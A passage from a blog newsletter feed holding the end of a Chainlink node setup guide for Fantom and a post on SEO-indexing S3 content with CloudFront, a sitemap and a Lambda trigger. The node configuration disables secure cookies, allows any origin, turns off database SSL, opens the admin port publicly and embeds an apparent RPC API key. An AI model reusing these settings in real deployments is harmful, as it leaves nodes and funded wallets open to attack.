"><code>ubuntu<span class="hljs-meta">@ip</span>-<span class="hljs-number">172</span>-<span class="hljs-number">31</span>-<span class="hljs-number">4</span>-<span class="hljs-number">16</span><span class="hljs-punctuation">:</span><span class="hljs-variable">$</span> sudo -u postgres psql
psql <span class="hljs-punctuation">(</span><span class="hljs-number">12.9</span> <span class="hljs-punctuation">(</span>Ubuntu <span class="hljs-number">12.9</span>-<span class="hljs-number">0</span>ubuntu0.<span class="hljs-number">20.04</span>.<span class="hljs-number">1</span><span class="hljs-punctuation">)</span><span class="hljs-punctuation">)</span>
<span class="hljs-keyword">Type</span> <span class="hljs-string">"help"</span> for help.postgres<span class="hljs-punctuation">=</span><span class="hljs-comment"># create database fantomProduction;</span>
postgres<span class="hljs-punctuation">=</span><span class="hljs-comment"># create user myuser with encrypted password 'myPassword';</span>
postgres<span class="hljs-punctuation">=</span><span class="hljs-comment"># grant all privileges on database fantomProduction to myuser;</span>
</code></pre><p><strong>Step 4</strong>: Make a new directory on your machine. <code>mkdir ~/.chainlink-fantom</code> You can change “fantom” by to the network of your choice.</p><p><strong>Step 5</strong>: You will need a RPC endpoint for the blockchain of your choice, The chainlink will sync all the data from this RPC endpoint. You can get a highly available RPC endpoint <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://moralis.io/">here</a> .</p><p><strong>Step 6</strong>: Make a .env file in the above folder and fill out the details, For chainid of different chains, visit <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://chainlist.org/">here</a>. For LINK_CONTRACT_ADDRESS for the network of your choice, visit <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.chain.link/docs/link-token-contracts/">here</a>. Use the credentials for postgres db made above.</p><pre data-type="codeBlock" text="ROOT=/chainlink
LOG_LEVEL=debug
ETH_CHAIN_ID=250
MIN_OUTGOING_CONFIRMATIONS=2
LINK_CONTRACT_ADDRESS=0x6F43FF82CCA38001B6699a8AC47A2d0E66939407
CHAINLINK_TLS_PORT=0
SECURE_COOKIES=false
GAS_UPDATER_ENABLED=true
ALLOW_ORIGINS=*
ETH_URL=wss://speedy-nodes-nyc.moralis.io/bnfb238ggf446efcbnw87tivyc/fantom/mainnet/ws
DATABASE_URL=postgresql://myuser:myPassword@localhost:5432/fantomProduction?sslmode=disable
"><code><span class="hljs-attr">ROOT</span>=/chainlink
<span class="hljs-attr">LOG_LEVEL</span>=debug
<span class="hljs-attr">ETH_CHAIN_ID</span>=<span class="hljs-number">250</span>
<span class="hljs-attr">MIN_OUTGOING_CONFIRMATIONS</span>=<span class="hljs-number">2</span>
<span class="hljs-attr">LINK_CONTRACT_ADDRESS</span>=<span class="hljs-number">0</span>x6F43FF82CCA38001B6699a8AC47A2d0E66939407
<span class="hljs-attr">CHAINLINK_TLS_PORT</span>=<span class="hljs-number">0</span>
<span class="hljs-attr">SECURE_COOKIES</span>=<span class="hljs-literal">false</span>
<span class="hljs-attr">GAS_UPDATER_ENABLED</span>=<span class="hljs-literal">true</span>
<span class="hljs-attr">ALLOW_ORIGINS</span>=*
<span class="hljs-attr">ETH_URL</span>=wss://speedy-nodes-nyc.moralis.io/bnfb238ggf446efcbnw87tivyc/fantom/mainnet/ws
<span class="hljs-attr">DATABASE_URL</span>=postgresql://myuser:myPassword@localhost:<span class="hljs-number">5432</span>/fantomProduction?sslmode=disable
</code></pre><p><strong>Step 7</strong>: Download the chainlink docker image locally.</p><pre data-type="codeBlock" text="docker pull smartcontract/chainlink:1.0.0
"><code>docker pull smartcontract/chainlink:1.0.0
</code></pre><p>More versions of chainlink docker images are available <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://hub.docker.com/r/smartcontract/chainlink/tags">here</a>:</p><p><strong>Step 8</strong>: Run the chainlink container by using this command. Note: Replace “fantom” with the network you have chosen in the Step 4.</p><pre data-type="codeBlock" text="cd ~/.chainlink-fantom &amp;&amp; docker run -p 6688:6688 -v ~/.chainlink-fantom:/chainlink -it --network host --env-file=.env smartcontract/chainlink:1.0.0 local n
"><code>cd <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.chainlink-fantom <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> docker run <span class="hljs-operator">-</span>p <span class="hljs-number">6688</span>:<span class="hljs-number">6688</span> <span class="hljs-operator">-</span>v <span class="hljs-operator">~</span><span class="hljs-operator">/</span>.chainlink-fantom:<span class="hljs-operator">/</span>chainlink <span class="hljs-operator">-</span>it <span class="hljs-operator">-</span><span class="hljs-operator">-</span>network host <span class="hljs-operator">-</span><span class="hljs-operator">-</span>env<span class="hljs-operator">-</span>file<span class="hljs-operator">=</span>.env smartcontract<span class="hljs-operator">/</span>chainlink:<span class="hljs-number">1.0</span><span class="hljs-number">.0</span> local n
</code></pre><p>The first time running the image, it will ask you for a password and confirmation. This will be your wallet password that you can use to unlock the keystore file generated for you. Then, you’ll be prompted to enter an API Email and Password. This will be used to expose the API for the GUI interface, and will be used every time you log into your node. When running the node again, you can supply the <code>-p</code> option with a path to a text file containing the wallet key password, and a <code>-a</code> option, pointing to a text file containing the API email and password. Instructions on how to do that are <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.chain.link/docs/miscellaneous/#use-password-and-api-files-on-startup">here</a>.</p><p><strong>Step 9</strong>: Make sure your server port 6688 is publicly available. You can access your chainlink node at your_ip:6688. Sign-in with your email and password.</p><p><strong>Step 10</strong>: Once you are logged in, Navigate to the keys section and at the bottom you will find your node account address. Please fund this address with the native blockchain token (For example, FTM for FTM blockchain or ETH for Ethereum blockchain). This balance will be used to pay for the transaction fee when you node will submit data to your chainlink client deployed on the blockchain. Whenever your transactions are stuck, check this balance.</p><p>Note: This account addresses has to be whitelisted from the operator contract so that your node can start receiving jobs from operator contract.</p><p>In the next part, I will try to explain how to deploy your own chainlink client, chainlink operator. If you want to request data from external world, then you will also have to deploy a node which can receive jobs from your chainlink node and submits response to it, which then will be posted on-chain by your chainlink node.</p>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[SEO indexing on the public s3 bucket]]></title>
            <link>https://paragraph.com/@amafansofficial/seo-indexing-on-the-public-s3-bucket</link>
            <guid>w6dt9vGEda5V3PIHl8bh</guid>
            <pubDate>Sat, 11 Jun 2022 20:04:15 GMT</pubDate>
            <description><![CDATA[https://www.ama.fans/graphicaldot/post/0x0479d51848712ab77fae678c6c485ff61bac58596755b4bd2d2fa259f4d0ccf9 Problem Statement: Any public post or a public question/query on amafans is posted on IPFS — A decentralized content storage platform. Rendering from IPFS could be slow so we also post all the content on the s3 bucket also. The front-end of amafans runs on NextJs and we tried doing SSR but posts being too long in some cases were making our servers slow. Consequently, We are rendering cont...]]></description>
            <content:encoded><![CDATA[<p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ama.fans/graphicaldot/post/0x0479d51848712ab77fae678c6c485ff61bac58596755b4bd2d2fa259f4d0ccf9">https://www.ama.fans/graphicaldot/post/0x0479d51848712ab77fae678c6c485ff61bac58596755b4bd2d2fa259f4d0ccf9</a></p><p>Problem Statement: Any public post or a public question/query on amafans is posted on IPFS — A decentralized content storage platform. Rendering from IPFS could be slow so we also post all the content on the s3 bucket also. The front-end of amafans runs on NextJs and we tried doing SSR but posts being too long in some cases were making our servers slow.</p><p>Consequently, We are rendering content from s3 links on the client side. This decision made our SEO very difficult because SEO Bots weren&apos;t indexing our public s3 links. This begs an important question — How do you enable SEO of the content that you have hosted in your s3 bucket?</p><p><strong>Part 1: Sitemap.xml with s3 links</strong></p><p><strong>Step 1</strong>: Create a CloudFront distribution for your s3 bucket. Please follow the steps mentioned here. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://hackernoon.com/creating-an-amazon-cloudfront-distribution-a-step-by-step-guide-t52e3yz3">https://hackernoon.com/creating-an-amazon-cloudfront-distribution-a-step-by-step-guide-t52e3yz3</a></p><p><strong>Step 2</strong>: Create a new subdomain on your domain provider and add Cloudfront distribution CNAME on it — In our case we used storage.ama.fans. Check if you can access your s3 files from the sub-domain. If you are facing a Forbidden error, Try adding an alternate domain name to your CloudFront distribution.</p><p>For example, We are serving CloudFront distribution from <strong>storage.ama.fans</strong> domain. We added storage.ama.fans as an alternate domain name on our CDF distribution. Please double-check the SSL certificates also.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8cde6d7a2a26f3e5792ada73abfce2f293f7ef3c74fe8b9a37cf26f0171d5cbf.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>Step 3:</strong> Upload a sitemap.xml in your s3 bucket with all the links which you would like to index by SEO bots. Here is a simple sitemap.xml file with two links present on the s3 bucket.</p><pre data-type="codeBlock" text="&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
   &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;
     &lt;url&gt;
       &lt;loc&gt;
https://storage.ama.fans/Qma5Hji73bi1mvk1sE6YYbJDFUakqhH95tBsq2XTBw86zG
       &lt;/loc&gt;
    &lt;/url&gt;
    &lt;url&gt;
       &lt;loc&gt;
https://storage.ama.fans/QmagiQwDZ4Zji7gjLS9dJM85XQiDgf8qJad4oQEEeegBPC
       &lt;/loc&gt;
    &lt;/url&gt;
&lt;/urlset&gt;
"><code><span class="hljs-operator">&#x3C;</span>?xml version<span class="hljs-operator">=</span><span class="hljs-string">"1.0"</span> encoding<span class="hljs-operator">=</span><span class="hljs-string">"UTF-8"</span>?<span class="hljs-operator">></span>
   <span class="hljs-operator">&#x3C;</span>urlset xmlns<span class="hljs-operator">=</span><span class="hljs-string">"http://www.sitemaps.org/schemas/sitemap/0.9"</span><span class="hljs-operator">></span>
     <span class="hljs-operator">&#x3C;</span>url<span class="hljs-operator">></span>
       <span class="hljs-operator">&#x3C;</span>loc<span class="hljs-operator">></span>
https:<span class="hljs-comment">//storage.ama.fans/Qma5Hji73bi1mvk1sE6YYbJDFUakqhH95tBsq2XTBw86zG</span>
       <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>loc<span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>url<span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>url<span class="hljs-operator">></span>
       <span class="hljs-operator">&#x3C;</span>loc<span class="hljs-operator">></span>
https:<span class="hljs-comment">//storage.ama.fans/QmagiQwDZ4Zji7gjLS9dJM85XQiDgf8qJad4oQEEeegBPC</span>
       <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>loc<span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>url<span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>urlset<span class="hljs-operator">></span>
</code></pre><p><strong>Step 4:</strong> Try fetching this sitemap.xml file from your subdomain mentioned in step2. You should see a properly rendered XML file with all the links you had added.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/08ea9256f451d92931259649ab19c762cb94f24c270a7fa9b25b0bbc709be6bf.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>If you are continuously facing this error on your browser while accessing your XML, Try using any online XML formatted.</p><p><strong>Step 5</strong>: Log in to your Google search console, If you don&apos;t know what google search console is, Visit here: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://search.google.com/search-console/about">https://search.google.com/search-console/about</a></p><p>Add your subdomain property on the google search console. Once it is approved, go to sitemaps on the left-hand navigation bar and add /sitemap.xml. Within seconds, Google will add your sitemap and the links present in it. <strong>Step 6:</strong> This is all good if you have a fixed number of files present on the s3 bucket. In our case, This is not the case, Our users have been writing posts and have been doing “Ask me anything” sessions on ama.fans generating lots of new s3 files. These new files aren&apos;t being indexed as they are not present in the sitemap.xml we just uploaded. We need a new “dynamic” mechanism to add new files to our sitemap.xml. <strong>Part 2: Adding new s3 files to sitemap.xml on the fly.</strong> <strong>Step 1</strong>: Create a lambda function that will ingest new “Put” events on the s3 bucket and add new files to the sitemap.xml. import json
import urllib.parse
import boto3
import xml.etree.ElementTree as ET
s3 = boto3.client(&apos;s3&apos;)
KEY_NAME = &quot;sitemap.xml&quot;
BUCKET_NAME=&quot;Your s3 bucket name&quot;
DOMAIN_NAME = &quot;Your Subdomain name&quot;
def lambda_handler(event, context):
    bucket = event[&apos;Records&apos;][0][&apos;s3&apos;][&apos;bucket&apos;][&apos;name&apos;]
    key = urllib.parse.unquote_plus(event[&apos;Records&apos;][0][&apos;s3&apos;][&apos;object&apos;][&apos;key&apos;], encoding=&apos;utf-8&apos;)
    print (f&quot;Here is the key name {key}&quot;)
    local_file_name = f&apos;/tmp/{KEY_NAME}&apos; 
    obj = s3.get_object(Bucket=BUCKET_NAME, Key=KEY_NAME)
    root = ET.fromstring(obj[&apos;Body&apos;].read().decode(&apos;utf-8&apos;))
    url_tag = ET.Element(&quot;url&quot;)
    loc_tag = ET.Element(&quot;loc&quot;)
    loc_tag.text = f&quot;{DOMAIN_NAME}{key}&quot;
    url_tag.append(loc_tag)
    root.append(url_tag)
    with open(local_file_name,&apos;wb&apos;) as outfile:
        outfile.write(ET.tostring(root))
        
    with open(local_file_name, &quot;rb&quot;) as f:
        s3.upload_fileobj(f, BUCKET_NAME, KEY_NAME)    
    return
basically, this function gets the “Key” name from the s3 put event, adds your subdomain name from step2 as a prefix, and adds a new entry to the XML, and uploads the updated version to the sitemap.xml. <strong>Step 2:</strong> S3 triggers: S3 buckets provides an awesome functionality of triggers. A trigger is an event that gets generated every time a. new object is POST/PUT/DELETE on the s3 bucket. Our aim is to execute the lambda function in step1 whenever a new object is added to our s3 bucket. Go to your s3 bucket and click on the <strong>properties</strong> tab on the top. Scroll down till you see the “Event notifications” section and click on it. You will see three sections: General configuration, Event types, and Destination. Let me explain them one by one. We only want to listen to Put and Post events on our s3 bucket which are sufficient for our use case. This tells the destination to trigger only when the file name has “Qm” as its prefix which is true for all the IPFS hashes. Here we are adding our lambda function as the trigger destination. Once it is done, every time a new file with Prefix “Qm” is added to the s3 bucket, the Lambda function will update sitemap.xml with the new filename. <strong>Step 3:</strong> One last thing, If you want your sitemap to be updated immediately you will have to make some changes. CloudFront serves a file from an edge location until the cache duration that you specified passes — that is until the file expires. After it expires, the next time the edge location gets a user request for the file, CloudFront forwards the request to the origin server to verify that the cache contains the latest version of the file. You can use the <code>Cache-Control</code> and <code>Expires</code> headers to control how long objects stay in the cache. Settings for <strong>Minimum TTL</strong>, <strong>Default TTL</strong>, and <strong>Maximum TTL</strong> also affect cache duration, but here&apos;s an overview of how headers can affect cache duration: The <code>Cache-Control max-age</code> directive lets you specify how long (in seconds) you want an object to remain in the cache before CloudFront gets the object again from the origin server. The minimum expiration time CloudFront supports is 0 seconds. The maximum value is 100 years. Specify the value in the following format: <code>Cache-Control: max-age=seconds </code>For example, the following directive tells CloudFront to keep the associated object in the cache for 3600 seconds (one hour): <code>Cache-Control: max-age=3600 </code>If you want objects to stay in CloudFront edge caches for a different duration than they stay in browser caches, you can use the <code>Cache-Control max-age</code> and <code>Cache-Control s-maxage</code> directives together. For more information, see <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Expiration.html#ExpirationDownloadDist">Specifying the amount of time that CloudFront caches objects</a>. The <code>Expires</code> header field lets you specify an expiration date and time using the format specified in <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.3.1">RFC 2616, Hypertext Transfer Protocol -- HTTP/1.1 Section 3.3.1, Full Date</a>, for example:<code>Sat, 27 Jun 2015 23:59:59 GMT</code> you can set these headers on sitemap.xml file present in the s3 bucket. <strong>Links to help you:</strong> A sample IAM role to get/put objects on an s3 bucket. You can use it with your lambda function in Step1, Part 2. {
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
        {
            &quot;Effect&quot;: &quot;Allow&quot;,
            &quot;Action&quot;: [
                &quot;s3:PutObject&quot;,
                &quot;s3:PutObjectAcl&quot;,
                &quot;s3:GetObject&quot;,
                &quot;s3:GetObjectAcl&quot;,
                &quot;s3:AbortMultipartUpload&quot;
            ],
            &quot;Resource&quot;: [
                &quot;arn:aws:s3:::YOUR_BUCKET&quot;,
                &quot;arn:aws:s3:::YOUR_BUCKET/*&quot;
            ]
        }
    ]
}</p>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
    </channel>
</rss>